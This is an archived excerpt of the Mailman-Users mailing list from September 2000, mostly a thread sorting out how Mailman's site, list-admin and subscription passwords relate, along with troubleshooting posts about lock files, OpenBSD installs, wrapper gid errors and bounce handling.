Message-ID: <MM.969555034.15287.solva@ifi.uio.no>

> At 4:31 PM +0200 9/21/00, Thomas Gramstad wrote:
> >  >> my lists!?  Is this really true??  I find it hard to believe that
> >>>  someone would actually design it that way purposely... huge bug...
> >
> >>  oh, no, no. See, if you have 25 lists, you should have, at least on
> >>  mailman 1.x, 25 passwords.
> 
> Each list subscription is independent.

But I'm talking about moderator passwords, not subscription passwords.
(Though I agree that my point would also apply to subscription
passwords.  But that wasn't the topic of this thread.)

> It's something that works for some sites, doesn't for
> others. Switching to a one account per server setup would
> simplify this, and it's on the TODO list somewhere (or at least,
> it's one mine). It also requires seriously re-architecting the
> back end of this.
> 
>> But that's insane.  If this were the case, any normal person would
>> set them to the same.
> 
> and the smart ones would ignore them, and only get the password they 
> need at the time they need it... (grin)
> 
>> I don't think that's the case:
> 
> iwth 2.x, it is. Each subscription to each list is independent of each other.

I'm still talking about admin (moderator) passwords.

> I'm actually designing a database schema for a subscription system 
> for another project; once it's done, the relevant parts can be 
> released for use by Mailman.

Sounds good.
                      - Thomas
Thomas Gramstad
thomas at ifi.uio.no


From thomas at ifi.uio.no  Thu Sep 21 19:07:29 2000
From: thomas at ifi.uio.no (Thomas Gramstad)
Date: Thu, 21 Sep 2000 19:07:29 +0200
Subject: [Mailman-Users] Re: Retrieving moderator password
In-Reply-To: David Champion <dgc@uchicago.edu>'s message of Thu, 21 Sep 2000
        10:16:02 -0500
References: <200009202358.QAA08300@utopia.west.sun.com>
        <Dan.Mick@West.Sun.COM> <MM.969548352.15287.solva@ifi.uio.no>
        <20000921101602.S22805@smack.uchicago.edu>
Message-ID: <MM.969556049.15287.solva@ifi.uio.no>

> On 2000.09.21, in <MM.969548352.15287.solva at ifi.uio.no>,
> 	"Thomas Gramstad" <thomas at ifi.uio.no> wrote:
> > 
> > I know _my_ admin password of course.  I don't know _his_.
> > 
> > Like I said, he lost his password.  If it's really true that his
> > password is the same as mine, then I guess the only problem is a
> > lack of security...
> 
> Lists have admin passwords.  Subscriptions have subscription
> passwords.  Nobody has a user password.  If you set "your admin
> password" after he set "his", that's probably how he "lost" "his".

No, as I wrote in another posting, he lost his password from an
encrypted file on his PC when the PC crashed (he hadn't memorized
it).  In any case I haven't changed my (more or less global)
password since before he became a co-moderator.

> Mailman doesn't have the infrastructure now for associating
> passwords to specific people.  That's too bad, but it will get
> there.

OK.
                      - Thomas
Thomas Gramstad
thomas at ifi.uio.no


From joe at nowalls.com  Thu Sep 21 19:09:24 2000
From: joe at nowalls.com (Joe Jenkins)
Date: Thu, 21 Sep 2000 11:09:24 -0600
Subject: [Mailman-Users] Mailman Admin page no longer appears for one list
Message-ID: <NEBBIHGIAKJOGFOJCFJAEEMOCDAA.joe@nowalls.com>

I use mailman 2.0b5 for several lists, and its been working fine for about a
month now.  Today I discovered that on one list out of about 15, I can no
longer go to the admin page.  It sits there and trys to load it for a while
and eventually my browser gives up.  All the admin pages for every other
list work fine.  The list with the broken admin page still seems to be
working fine in every other aspect.  I get no errors or anything.  Any
ideas?

Joe Jenkins
System Administrator
NoWalls, Inc
http://www.nowalls.com
(801) 303-3815
(801) 867-3815 cell




From thomas at ifi.uio.no  Thu Sep 21 19:26:03 2000
From: thomas at ifi.uio.no (Thomas Gramstad)
Date: Thu, 21 Sep 2000 19:26:03 +0200
Subject: [Mailman-Users] Re: Retrieving moderator password
In-Reply-To: David Champion <dgc@uchicago.edu>'s message of Thu, 21 Sep 2000
        10:52:45 -0500
References: <200009210002.RAA08479@utopia.west.sun.com>
        <Dan.Mick@West.Sun.COM> <MM.969549033.15287.solva@ifi.uio.no>
        <20000921105245.T22805@smack.uchicago.edu>
Message-ID: <MM.969557163.15287.solva@ifi.uio.no>

>> Are you saying that:
>> 
>> 1. What I have is "the site password" (whatever that means)
>> 2. I can use this as a list password
>> 3. I can also use it to create a list password which I then give
>>    to him as his individual password (though I could also use it
>>    as an admin password)

> I don't know what password it is that you're speaking of, but your
> Mailman installation has:
> 
> 1. A site password that gives you access to any list or any individual
>    subscription;
> 2. Admin ("moderator") passwords, one per list;
> 3. One password per user subscription.
> 
> If you installed the Mailman software,

No, I didn't

> then the password you typed in when you run mm_site_pass is the
> site password.
> 
> The word you type in when you create a list is the list ("admin" or
> "moderator") password.

The procedure for creating a new list here is that when I create a
list I send a message to the computer staff and ask them to create
the new list.  They create it, and I get a message from Mailman that
I'm the list-owner and that I already have an admin password for
Mailman and this admin-password is the same for all my lists.

> The word that is auto-generated when a person subscribes is their
> subscriber password.
> 
> Now, you tell us what you have, and whether there's a problem.  I
> suspect this is all a confusion of terminology.

>> 1. I want him to be a co-moderator of ONE list, not all of them.

> Give him that list's admin password.

>> 2. I want to have the same admin password for all my lists, not
>>    25 individual separate passwords, and that's what the system
>>    is set up to give me.

> When you speak of "my lists", are you talking about all the
> lists on your server,

No, only the subset of lists that I'm moderator for.

> or of all the lists that you created on some arbitrary server?
> If the former, then you're fine.  You keep the site password,
> don't tell him, and you don't need to worry about the list admin
> passwords.  I know about 2 list-admin passwords for the 600-odd
> lists I have on my server, but I control them all through the
> site pass.

So the site password has two functions: it allows you to create
or change list passwords, and it can also be used itself as a
list password on any list?

Thomas Gramstad
thomas at ifi.uio.no




From ppruett at webengr.com  Thu Sep 21 16:01:21 2000
From: ppruett at webengr.com (ppruett)
Date: Thu, 21 Sep 2000 14:01:21 +0000 (GMT)
Subject: [Mailman-Users] openbsd and mailman
Message-ID: <Pine.BSO.4.21.0009211354040.1836-100000@shire.webengr.com>


I was able to get mailman to work I thought...
on a generic Openbsd 2.7 

I did have to use their port of python 1.52
because their port of 1.6 did not work, I put
a bug notice on it just in case it was relevant
for the developers of mailman.

So I got it going I thought, it worked, then
the next day its pretending to work
I noted that a posting showed up in the archive
but never went out. subsequent postings don't
show up in the archive nor deliver but
they don't bounce either they just dissappear
and don't show up in the mqueue either...

My question to the list is...
 Are there members using OpenBSD 2.7 and 
 was there some tricks or gotchass other
 than that mentioned in README.BSD

?

- thanks,
paul




From chris at opac.osl.state.or.us  Thu Sep 21 19:44:04 2000
From: chris at opac.osl.state.or.us (Christopher Adams)
Date: Thu, 21 Sep 2000 10:44:04 -0700
Subject: [Mailman-Users] Command died with status 2
Message-ID: <39CA48E4.842EEC69@opac.osl.state.or.us>

I have been able to set up my first list successfully. I am using
Mailman 1.1. When I subscribe to the list, I am sent a message telling
me that I have to confirm it. So, I send a message to the
mail_test-request address with the confirmation and I get back a message
that says:

<mail_test-request at sparkie.osl.state.or.us>: Command died with status 2:
    "/usr/local/mailman/mail/wrapper mailcmd mail_test"


What is status 2 and why is this happening?


-- 
Christopher Adams
Oregon State Library
503.378.4246
chris at opac.osl.state.or.us


From chuqui at plaidworks.com  Thu Sep 21 19:38:31 2000
From: chuqui at plaidworks.com (Chuq Von Rospach)
Date: Thu, 21 Sep 2000 10:38:31 -0700
Subject: [Mailman-Users] Mailman Admin page no longer appears for
 one list
In-Reply-To: <NEBBIHGIAKJOGFOJCFJAEEMOCDAA.joe@nowalls.com>
References: <NEBBIHGIAKJOGFOJCFJAEEMOCDAA.joe@nowalls.com>
Message-ID: <p04330104b5eff801e7d3@[209.239.169.197]>

At 11:09 AM -0600 9/21/00, Joe Jenkins wrote:
>I use mailman 2.0b5 for several lists, and its been working fine for about a
>month now.  Today I discovered that on one list out of about 15, I can no
>longer go to the admin page.  It sits there and trys to load it for a while
>and eventually my browser gives up.  All the admin pages for every other
>list work fine.  The list with the broken admin page still seems to be
>working fine in every other aspect.  I get no errors or anything.  Any
>ideas?

you probably have a wedged lock. Go into ~mailman/locks and see if 
there is a lockfile in there.

-- 
Chuq Von Rospach - Plaidworks Consulting (mailto:chuqui at plaidworks.com)
Apple Mail List Gnome (mailto:chuq at apple.com)

And they sit at the bar and put bread in my jar
and say 'Man, what are you doing here?'"


From chuqui at plaidworks.com  Thu Sep 21 19:37:56 2000
From: chuqui at plaidworks.com (Chuq Von Rospach)
Date: Thu, 21 Sep 2000 10:37:56 -0700
Subject: [Mailman-Users] mail domain constraints on membership and
 posting
In-Reply-To: <v04220800b5efcfc42fd4@[172.16.3.104]>
References: <v04220800b5efcfc42fd4@[172.16.3.104]>
Message-ID: <p04330103b5eff6c59d8c@[209.239.169.197]>

At 4:20 PM +0100 9/21/00, Richard Barrett wrote:

>1. Mail lists where people with e-mail addresses in certain mail 
>domains (typically inside our business) are free to subscribe 
>without approval, where users outside these domains but inside 
>specific other domains have to be approved, and all other 
>subscription attempts are rejected.

The way i'd do this (your mileage will vary) would be to set up two 
lists, one requiring validation, another not, and put them under an 
umbrella list. It's a lot easier to add functionality be able to 
define access ot a list on a per-domain basis than to try to teach 
lists to do one thing for some domains, and another thing for others.

in fact, you could do this today, almost, using umbrella lists and 
the putting the list pages for the not-validated list behind a 
security realm. Then, only those iwth the account/password to access 
the pages can subscribe. that might be close enough to work for your 
environment without hacking.

>2. Mail lists with members from both inside and outside our local 
>mail domain, where posts from e-mail addresses inside our local mail 
>domain have to be approved but posts from outside it do not.

can't you do that today? doesn't the forbidden posting option on the 
privacy pages do this now?

-- 
Chuq Von Rospach - Plaidworks Consulting (mailto:chuqui at plaidworks.com)
Apple Mail List Gnome (mailto:chuq at apple.com)

And they sit at the bar and put bread in my jar
and say 'Man, what are you doing here?'"


From chuqui at plaidworks.com  Thu Sep 21 19:40:13 2000
From: chuqui at plaidworks.com (Chuq Von Rospach)
Date: Thu, 21 Sep 2000 10:40:13 -0700
Subject: [Mailman-Users] Re: Retrieving moderator password
In-Reply-To: <20000921101602.S22805@smack.uchicago.edu>
References: <200009202358.QAA08300@utopia.west.sun.com>
 <Dan.Mick@West.Sun.COM> <MM.969548352.15287.solva@ifi.uio.no>
 <20000921101602.S22805@smack.uchicago.edu>
Message-ID: <p04330105b5eff831f302@[209.239.169.197]>

At 10:16 AM -0500 9/21/00, David Champion wrote:

>Lists have admin passwords.  Subscriptions have subscription
>passwords.  Nobody has a user password.

On the other hand, users should have a user password, and a set of 
subscriptions and admin permissions that password allows them to 
access. But that's a different discussion.

>Mailman doesn't have the infrastructure now for associating passwords
>to specific people.  That's too bad, but it will get there.  It's not a
>dumb system, it just in development.

Exactly. It's a system that works great in some environments, not so 
great in others. And it keeps getting better.
-- 
Chuq Von Rospach - Plaidworks Consulting (mailto:chuqui at plaidworks.com)
Apple Mail List Gnome (mailto:chuq at apple.com)

And they sit at the bar and put bread in my jar
and say 'Man, what are you doing here?'"


From alex at phred.org  Thu Sep 21 20:00:11 2000
From: alex at phred.org (alex wetmore)
Date: Thu, 21 Sep 2000 11:00:11 -0700
Subject: [Mailman-Users] funkiness after reboot/clock loosing time
References: <200009210414.VAA13358@utopia.west.sun.com>
Message-ID: <05ac01c023f5$c99db710$5bf83b9d@redmond.corp.microsoft.com>

From: "Dan Mick" <Dan.Mick at West.Sun.COM>
> Fixed in 2.0.  Honestly, that's the easiest answer.

When is 2.0 final actually going to come out?  It has been hinted at for
months...

alex



From chuqui at plaidworks.com  Thu Sep 21 20:22:20 2000
From: chuqui at plaidworks.com (Chuq Von Rospach)
Date: Thu, 21 Sep 2000 11:22:20 -0700
Subject: [Mailman-Users] funkiness after reboot/clock loosing time
In-Reply-To: 
 <05ac01c023f5$c99db710$5bf83b9d@redmond.corp.microsoft.com>
References: <200009210414.VAA13358@utopia.west.sun.com>
 <05ac01c023f5$c99db710$5bf83b9d@redmond.corp.microsoft.com>
Message-ID: <p0433010cb5f002364fe6@[17.216.27.250]>

At 11:00 AM -0700 9/21/00, alex wetmore wrote:
>From: "Dan Mick" <Dan.Mick at West.Sun.COM>
>>  Fixed in 2.0.  Honestly, that's the easiest answer.
>
>When is 2.0 final actually going to come out?  It has been hinted at for
>months...

2.0 beta five is quite stable. it's not out because Barry keeps 
fixing and adding stuff. he's made a huge number of changes to the 
CVS the last week or so.

-- 
Chuq Von Rospach - Plaidworks Consulting (mailto:chuqui at plaidworks.com)
Apple Mail List Gnome (mailto:chuq at apple.com)

And they sit at the bar and put bread in my jar
and say 'Man, what are you doing here?'"


From waynes at iexalt.net  Thu Sep 21 20:40:15 2000
From: waynes at iexalt.net (Wayne Sitton)
Date: Thu, 21 Sep 2000 13:40:15 -0500
Subject: [Mailman-Users] error
Message-ID: <39CA560F.72B96007@iexalt.net>

I built a new server for mailman.  I installed the newest version of
mailman then I copied over the old mailman and then re-ran the configure
and make install.  I've done this once before and had no problems.  But
this time when I send to mailman I get the following error.

  ----- The following addresses had permanent fatal errors -----
"|/home/mailman/mail/wrapper mailowner dmlive"
    (expanded from: <dmlive-admin at listserv.iexalt.net>)

   ----- Transcript of session follows -----
Failure to exec script. WANTED gid 8, GOT gid 1.  (Reconfigure to take
1?)
554 "|/home/mailman/mail/wrapper mailowner dmlive"... unknown mailer
error 2


How do I fix this???

Wayne



From chk at pobox.com  Thu Sep 21 20:44:38 2000
From: chk at pobox.com (Harald Koch)
Date: Thu, 21 Sep 2000 14:44:38 -0400
Subject: [Mailman-Users] Re: Retrieving moderator password
In-Reply-To: chuqui's message of "Thu, 21 Sep 2000 07:46:20 -0700".
	 <p0433010db5efcf139290@[209.239.169.197]> 
References: <Pine.LNX.4.21.0009201937380.14619-100000@fantomas.insite.com.br> <MM.969546709.15287.solva@ifi.uio.no>
            <p0433010db5efcf139290@[209.239.169.197]>
Message-ID: <200009211844.OAA26621@ve3tla.ampr.org>

Of all the gin joints in all the towns in all the world, Chuq Von Rospach
had to walk into mine and say:
> 
> >But that's insane.  If this were the case, any normal person would
> >set them to the same.
> 
> and the smart ones would ignore them, and only get the password they 
> need at the time they need it... (grin)

At which point, you might as well drop the passwords altogether and use
e-mail based confirmations... <grin>

-- 
Harald Koch     <chk at pobox.com>

"It takes a child to raze a village."
		-Michael T. Fry


From lra at insite.com.br  Thu Sep 21 20:41:47 2000
From: lra at insite.com.br (Leonardo Rochael Almeida)
Date: Thu, 21 Sep 2000 15:41:47 -0300 (EST)
Subject: [Mailman-Users] Re: Retrieving moderator password
In-Reply-To: <MM.969557163.15287.solva@ifi.uio.no>
Message-ID: <Pine.LNX.4.21.0009211500340.26004-100000@fantomas.insite.com.br>

Hi,

On Thu, 21 Sep 2000, Thomas Gramstad wrote:

> The procedure for creating a new list here is that when I create a
> list I send a message to the computer staff and ask them to create
> the new list.  They create it, and I get a message from Mailman that
> I'm the list-owner and that I already have an admin password for
> Mailman and this admin-password is the same for all my lists.

If the message you receive is something in the lines:
"The mailing list `listname' has just been created for you. (...snip...)
Your mailing list password is the same as the one in your other mailing
lists." then either it was not Mailman who sent you the message or it was
a very hacked up version of Mailman and we would really apreciate if you
could convince your computer staff to send us the changes.

On the other hand if the message looks like:
"The mailing list `listname' has just been created for you. (...snip...) 
Your mailing list password is:

    xxxx
"
where xxxx is the same password you have for other lists, then
you need to smack your computer staff up in the head for using the same
password when creating all the lists (or at least all the lists they
create for you), because (and let me speak this really slow): "Each
list has only one password" (at least on the Mailman that can be found on
http://www.list.org).

 
> > [...] I know about 2 list-admin passwords for the 600-odd
> > lists I have on my server, but I control them all through the
> > site pass.
> 
> So the site password has two functions: it allows you to create
> or change list passwords, and it can also be used itself as a
> list password on any list?

No. The site password has only one function. To work everywhere a password
is needed as if it was the intended password. Specifically:

1. at the "list Administrative Authentication" page (where it asks only
for a password, not a user/pass combo, so multiple passwords would make
for a very weak authentication scheme, not that the one already in place
is particularly strong...), and in the "Enter current password:" field at
the "To Change The Administrator Password" form at the botton of the
"General Options" page.

2. at the user configuration page, in any of the "Password" or "Old
Password" fields as if it was the user password. That page you can access
by typing a subscribed e-mail address at the bottom of the "listinfo" page
for the list.

The list password, bessides working at #1 above, also works at #2 above,
like it was the user password.

So, don't get me wrong, I'm not trying to be rude, but either you get over
your denial phase, change the list password and give the new one to your
co-moderator (and keep it around for when you need to operate that list
because it is the only one you've got), or you go talk to your computer
staff about your problem because we can't help you if you won't believe
us.

Regards, Leo



From thomas at ifi.uio.no  Thu Sep 21 20:52:31 2000
From: thomas at ifi.uio.no (Thomas Gramstad)
Date: Thu, 21 Sep 2000 20:52:31 +0200
Subject: [Mailman-Users] Redirecting bounces?
In-Reply-To: Leonardo Rochael Almeida <lra@insite.com.br>'s message of Wed,
        20 Sep 2000 19:11:52 -0300 (EST)
References: <Pine.LNX.4.21.0009201909360.14619-100000@fantomas.insite.com.br>
Message-ID: <MM.969562351.20079.solva@ifi.uio.no>

Yes, OK.  But that still doesn't answer my question: What address
does Mailman expect to receive bounces to in order to start bounce
processing?  Is it the list address or some other address?

Thomas Gramstad
thomas at ifi.uio.no

--

> when you get a bounce it usually means mailman bounce detection couldn't
> recognize the message as a bounce. your options are:
> 
> * hack mailman to make it recognize the message you are getting
> * ask the postmaster to the domain you are getting bounces from to change
> their mta to something that can grasp some ressemblance of standards when
> dealing with bounces.
> 
> On Wed, 20 Sep 2000, Thomas Gramstad wrote:
> 
> > Mailman's automatic bounce handling with disabling is a good
> > feature.  But sometimes the bounces bypass Mailman because they
> > are addressed to listname-owner at list.address.  Then I get them in
> > my mailbox, and I'll have to unsub them manually.  I was wondering
> > if there is a way around this -- that is, can I remail, forward or
> > redirect such bounces to mailman so that they enter mailman's
> > automatic bounce handling?  If so, which address to I remail them
> > to?  I tried to remail them to the list address, but that only
> > generates an error message from mailman to the effect "loop
> > detected, message discarded".
> > 
> > Thomas Gramstad
> > thomas at ifi.uio.no
> > 
> > ------------------------------------------------------
> > Mailman-Users maillist  -  Mailman-Users at python.org
> > http://www.python.org/mailman/listinfo/mailman-users


From thomas at ifi.uio.no  Thu Sep 21 20:55:19 2000
From: thomas at ifi.uio.no (Thomas Gramstad)
Date: Thu, 21 Sep 2000 20:55:19 +0200
Subject: [Mailman-Users] Re: Retrieving moderator password
In-Reply-To: Harald Koch <chk@pobox.com>'s message of Thu, 21 Sep 2000
        14:44:38 -0400
References: <Pine.LNX.4.21.0009201937380.14619-100000@fantomas.insite.com.br>
        <MM.969546709.15287.solva@ifi.uio.no>
        <p0433010db5efcf139290@[209.239.169.197]>
        <200009211844.OAA26621@ve3tla.ampr.org>
Message-ID: <MM.969562519.20079.solva@ifi.uio.no>

>>> But that's insane.  If this were the case, any normal person would
>>> set them to the same.
 
>> and the smart ones would ignore them, and only get the password they 
>> need at the time they need it... (grin)

> At which point, you might as well drop the passwords altogether and use
> e-mail based confirmations... <grin>

Which is absolutely what I would prefer... :-/

Thomas Gramstad
thomas at ifi.uio.no


From thomas at ifi.uio.no  Thu Sep 21 21:47:04 2000
From: thomas at ifi.uio.no (Thomas Gramstad)
Date: Thu, 21 Sep 2000 21:47:04 +0200
Subject: [Mailman-Users] Re: Retrieving moderator password
In-Reply-To: Leonardo Rochael Almeida <lra@insite.com.br>'s message of Thu,
        21 Sep 2000 15:41:47 -0300 (EST)
References: <Pine.LNX.4.21.0009211500340.26004-100000@fantomas.insite.com.br>
Message-ID: <MM.969565624.20825.solva@ifi.uio.no>

> Hi,
> 
> On Thu, 21 Sep 2000, Thomas Gramstad wrote:
> 
>> The procedure for creating a new list here is that when I create a
>> list I send a message to the computer staff and ask them to create
>> the new list.  They create it, and I get a message from Mailman that
>> I'm the list-owner and that I already have an admin password for
>> Mailman and this admin-password is the same for all my lists.

> If the message you receive is something in the lines:
> "The mailing list `listname' has just been created for you. (...snip...)
> Your mailing list password is the same as the one in your other mailing
> lists." then either it was not Mailman who sent you the message or it was
> a very hacked up version of Mailman and we would really apreciate if you
> could convince your computer staff to send us the changes.
> 
> On the other hand if the message looks like:
> "The mailing list `listname' has just been created for you. (...snip...) 
> Your mailing list password is:
> 
>     xxxx
> "
> where xxxx is the same password you have for other lists, then
> you need to smack your computer staff up in the head for using the same
> password when creating all the lists (or at least all the lists they
> create for you), because (and let me speak this really slow): "Each
> list has only one password" (at least on the Mailman that can be found on
> http://www.list.org).

Here is a sample message.

---

12-Sep-2000  5:57:14-GMT,2180;000000000001
Return-path: <mailman-owner at lister.uio.no>
Envelope-to: thomas at ifi.uio.no
Delivery-date: Tue, 12 Sep 2000 06:57:14 +0200
Received: from lister.uio.no ([129.240.200.57])
	by pat.uio.no with esmtp (Exim 2.12 #7)
	id 13Yi8A-0005H8-00
	for thomas at ifi.uio.no; Tue, 12 Sep 2000 06:57:14 +0200
Subject: Granted admin rights for mailing list aynarchism at ifi.uio.no
From: mailman-owner at lister.uio.no
To: thomas at ifi.uio.no
Sender: aynarchism-owner at ifi.uio.no
Errors-To: aynarchism-owner at ifi.uio.no
X-BeenThere: aynarchism at ifi.uio.no
X-Mailman-Version: 1.2 (experimental)
Precedence: bulk
List-Id:  <aynarchism.ifi.uio.no>
Message-Id: <E13Yi8A-0005H8-00 at pat.uio.no>
Date: Tue, 12 Sep 2000 06:57:14 +0200

You, thomas at ifi.uio.no, have been granted administrative privileges
for the mailing list `aynarchism at ifi.uio.no'.

The address thomas at ifi.uio.no has been registered as list admin for
other lists before -- and thus that mail address already has an admin
password associated with it.  That same password should also be used
when administrating this new list, `aynarchism at ifi.uio.no'.

Some basic information about the mailing list for which you now have
admin privileges follows:

The mailing list can be configured at the following web page:

    http://ifi-lists.uio.no/mailman/admin/aynarchism at ifi.uio.no

The web page for users of your mailing list is: 

    http://ifi-lists.uio.no/mailman/listinfo/aynarchism at ifi.uio.no

You can even customize these web pages from the list configuration
page.  However, you do need to know HTML to be able to do this.

There is also an email-based interface for users (not administrators)
of your list; you can get info about using it by sending a message
with just the word `help' as subject or in the body, to:

    aynarchism-request at ifi.uio.no

To unsubscribe a user: from the mailing list 'listinfo' web page,
click on or enter the user's email address as if you were that user.
Where that user would put in their password to unsubscribe, put in
your admin password.  You can also use your password to change
member's options, including digestification, delivery disabling, etc.

Please address all questions to <mailman-owner at lister.uio.no>.

---

Would that be alternative A?

>>> [...] I know about 2 list-admin passwords for the 600-odd
>>> lists I have on my server, but I control them all through the
>>> site pass.
 
>> So the site password has two functions: it allows you to create
>> or change list passwords, and it can also be used itself as a
>> list password on any list?

> No. The site password has only one function. To work everywhere
> a password is needed as if it was the intended password.

OK. So since my password cannot be used to unsubscribe a subscriber
via Mailman's e-mail interface, then my password is not the site
password?

> Specifically:
> 1. at the "list Administrative Authentication" page (where it asks only
> for a password, not a user/pass combo,

If this is the page where I log in (the page before the General options
page and with links to membership management, privacy etc. on top), then
it does require a user/pass combo.  I've never seen a Mailman web page
that requires only the password and not the username/address too.

> so multiple passwords would make for a very weak authentication
> scheme, not that the one already in place is particularly
> strong...), and in the "Enter current password:" field at the
> "To Change The Administrator Password" form at the botton of the
> "General Options" page.

OK, I'll try this.

Thomas Gramstad
thomas at ifi.uio.no

--

> 2. at the user configuration page, in any of the "Password" or "Old
> Password" fields as if it was the user password. That page you can access
> by typing a subscribed e-mail address at the bottom of the "listinfo" page
> for the list.
> 
> The list password, bessides working at #1 above, also works at #2 above,
> like it was the user password.
> 
> So, don't get me wrong, I'm not trying to be rude, but either you get over
> your denial phase, change the list password and give the new one to your
> co-moderator (and keep it around for when you need to operate that list
> because it is the only one you've got), or you go talk to your computer
> staff about your problem because we can't help you if you won't believe
> us.
> 
> Regards, Leo


From lra at insite.com.br  Thu Sep 21 22:39:25 2000
From: lra at insite.com.br (Leonardo Rochael Almeida)
Date: Thu, 21 Sep 2000 17:39:25 -0300 (EST)
Subject: [Mailman-Users] Re: Retrieving moderator password
In-Reply-To: <MM.969565624.20825.solva@ifi.uio.no>
Message-ID: <Pine.LNX.4.21.0009211724400.26004-100000@fantomas.insite.com.br>

>From what you describe below, they obviously have a customized mailman
configuration, but that doesn't change the fact that they might still be
pulling your leg and giving you and him the same password :-)

In any event, there isn't much we can do to help you here. If they have
user/pass login for list administrator, then you have to check with them
what is the procedure for lost passwords because it is no longer a plain
Mailman.

As for not being able to unsubscribe subscribed adresses, it probably
means your password is not the LIST password, but some customized system.
It certainly is not the site password as that would open all other lists
for you.

All in all, we would love to know what modifications your mailing list
providers did to their instalation.

Regards, Leo.

On Thu, 21 Sep 2000, Thomas Gramstad wrote:

> > Hi,
> > 
> > On Thu, 21 Sep 2000, Thomas Gramstad wrote:
> > 
> >> The procedure for creating a new list here is that when I create a
> >> list I send a message to the computer staff and ask them to create
> >> the new list.  They create it, and I get a message from Mailman that
> >> I'm the list-owner and that I already have an admin password for
> >> Mailman and this admin-password is the same for all my lists.
> 
> > If the message you receive is something in the lines:
> > "The mailing list `listname' has just been created for you. (...snip...)
> > Your mailing list password is the same as the one in your other mailing
> > lists." then either it was not Mailman who sent you the message or it was
> > a very hacked up version of Mailman and we would really apreciate if you
> > could convince your computer staff to send us the changes.
> > 
> > On the other hand if the message looks like:
> > "The mailing list `listname' has just been created for you. (...snip...) 
> > Your mailing list password is:
> > 
> >     xxxx
> > "
> > where xxxx is the same password you have for other lists, then
> > you need to smack your computer staff up in the head for using the same
> > password when creating all the lists (or at least all the lists they
> > create for you), because (and let me speak this really slow): "Each
> > list has only one password" (at least on the Mailman that can be found on
> > http://www.list.org).
> 
> Here is a sample message.
> 
> ---
> 
> 12-Sep-2000  5:57:14-GMT,2180;000000000001
> Return-path: <mailman-owner at lister.uio.no>
> Envelope-to: thomas at ifi.uio.no
> Delivery-date: Tue, 12 Sep 2000 06:57:14 +0200
> Received: from lister.uio.no ([129.240.200.57])
> 	by pat.uio.no with esmtp (Exim 2.12 #7)
> 	id 13Yi8A-0005H8-00
> 	for thomas at ifi.uio.no; Tue, 12 Sep 2000 06:57:14 +0200
> Subject: Granted admin rights for mailing list aynarchism at ifi.uio.no
> From: mailman-owner at lister.uio.no
> To: thomas at ifi.uio.no
> Sender: aynarchism-owner at ifi.uio.no
> Errors-To: aynarchism-owner at ifi.uio.no
> X-BeenThere: aynarchism at ifi.uio.no
> X-Mailman-Version: 1.2 (experimental)
> Precedence: bulk
> List-Id:  <aynarchism.ifi.uio.no>
> Message-Id: <E13Yi8A-0005H8-00 at pat.uio.no>
> Date: Tue, 12 Sep 2000 06:57:14 +0200
> 
> You, thomas at ifi.uio.no, have been granted administrative privileges
> for the mailing list `aynarchism at ifi.uio.no'.
> 
> The address thomas at ifi.uio.no has been registered as list admin for
> other lists before -- and thus that mail address already has an admin
> password associated with it.  That same password should also be used
> when administrating this new list, `aynarchism at ifi.uio.no'.
> 
> Some basic information about the mailing list for which you now have
> admin privileges follows:
> 
> The mailing list can be configured at the following web page:
> 
>     http://ifi-lists.uio.no/mailman/admin/aynarchism at ifi.uio.no
> 
> The web page for users of your mailing list is: 
> 
>     http://ifi-lists.uio.no/mailman/listinfo/aynarchism at ifi.uio.no
> 
> You can even customize these web pages from the list configuration
> page.  However, you do need to know HTML to be able to do this.
> 
> There is also an email-based interface for users (not administrators)
> of your list; you can get info about using it by sending a message
> with just the word `help' as subject or in the body, to:
> 
>     aynarchism-request at ifi.uio.no
> 
> To unsubscribe a user: from the mailing list 'listinfo' web page,
> click on or enter the user's email address as if you were that user.
> Where that user would put in their password to unsubscribe, put in
> your admin password.  You can also use your password to change
> member's options, including digestification, delivery disabling, etc.
> 
> Please address all questions to <mailman-owner at lister.uio.no>.
> 
> ---
> 
> Would that be alternative A?
> 
> >>> [...] I know about 2 list-admin passwords for the 600-odd
> >>> lists I have on my server, but I control them all through the
> >>> site pass.
>  
> >> So the site password has two functions: it allows you to create
> >> or change list passwords, and it can also be used itself as a
> >> list password on any list?
> 
> > No. The site password has only one function. To work everywhere
> > a password is needed as if it was the intended password.
> 
> OK. So since my password cannot be used to unsubscribe a subscriber
> via Mailman's e-mail interface, then my password is not the site
> password?
> 
> > Specifically:
> > 1. at the "list Administrative Authentication" page (where it asks only
> > for a password, not a user/pass combo,
> 
> If this is the page where I log in (the page before the General options
> page and with links to membership management, privacy etc. on top), then
> it does require a user/pass combo.  I've never seen a Mailman web page
> that requires only the password and not the username/address too.
> 
> > so multiple passwords would make for a very weak authentication
> > scheme, not that the one already in place is particularly
> > strong...), and in the "Enter current password:" field at the
> > "To Change The Administrator Password" form at the botton of the
> > "General Options" page.
> 
> OK, I'll try this.
> 
> Thomas Gramstad
> thomas at ifi.uio.no
> 
> [...]



From nathan.day at realbranding.com  Fri Sep 22 00:23:07 2000
From: nathan.day at realbranding.com (Nathan Day)
Date: Thu, 21 Sep 2000 15:23:07 -0700
Subject: [Mailman-Users] Problem with invalid signup response page:  Shows up 3 times
Message-ID: <94017B8E20530E48889D91EA1BEF2E6B35D886@us-ca-sf-exc001.realbeer.com>

Hello,

I'm getting an interesting error.  Whatever I enter into the 'Subscribe
Results Page' in the admin section will show up three times in a row on the
generated response page, but only if a password has not been entered or
confirmed.

Any thoughts?

-Nathan


From ppruett at webengr.com  Thu Sep 21 21:00:08 2000
From: ppruett at webengr.com (ppruett)
Date: Thu, 21 Sep 2000 19:00:08 +0000 (GMT)
Subject: [Mailman-Users] ? All recipients refused
Message-ID: <Pine.BSO.4.21.0009211820010.17588-100000@shire.webengr.com>


okay I can use some suggestions, 

I really tried to figure it out,
I've been fiddling with sendmail.cf
and /home/mailman/Mailman/mm_cfg.py

It did work the first day, now the logs
seem to indicate the mailman is timing
out on recipents to sendmail
I've tried both Deliveries to sendmail
and smtp with no improvement.
I've stopped qrunner removed locks and
restarted qrunner also in desperation.

In case it's something obvious I'm missing
I'm asking the list.  I'm using OpenBSD 2.7
with python from port:
# python
Python 1.5.2 (#2, Sep 15 2000, 18:14:42)  [GCC 2.95.2 19991024 (release)]
on openbsd2
Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
>>> 
I tried to use python 1.6 but the ./configure didn't like it.
So I think I have the version of python that doesn't need patching.


I'm able to get newlist notifications
using /home/mailman/bin/newlist
 so something is working.



looking into /home/mailman/logs


view error
.........  none



 view smtp
.................
Sep 20 21:30:04 2000 (27304) All recipients refused: (451, '4.4.1 timeout
waiting for input during message collect')
